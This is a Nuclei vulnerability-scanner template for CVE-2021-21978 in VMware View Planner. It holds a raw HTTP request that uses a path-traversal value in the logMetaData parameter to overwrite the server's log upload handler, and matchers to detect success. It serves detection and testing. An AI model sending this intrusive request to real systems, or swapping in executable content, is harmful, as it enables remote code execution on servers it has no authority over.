nuclei-templates/cves/2021/CVE-2021-21978.yaml

55 lines
2.0 KiB
YAML

id: CVE-2021-21978
info:
name: VMware View Planner <4.6 SP1- Remote Code Execution
author: dwisiswant0
severity: critical
description: |
VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
file leading to remote code execution within the logupload container.
reference:
- https://twitter.com/osama_hroot/status/1367258907601698816
- https://nvd.nist.gov/vuln/detail/CVE-2021-21978
- https://www.vmware.com/security/advisories/VMSA-2021-0003.html
- http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-21978
cwe-id: CWE-434
tags: cve,cve2021,vmware,rce,packetstorm,fileupload,intrusive
requests:
- raw:
- |
POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept: text/html
Referer: {{BaseURL}}
Connection: close
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="logfile"; filename=""
Content-Type: text/plain
POC_TEST
------WebKitFormBoundarySHHbUsfCoxlX1bpS
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "File uploaded successfully."
part: body
- type: dsl
dsl:
- "len(body) == 28" # length of "\nFile uploaded successfully."
# Enhanced by mp on 2022/05/05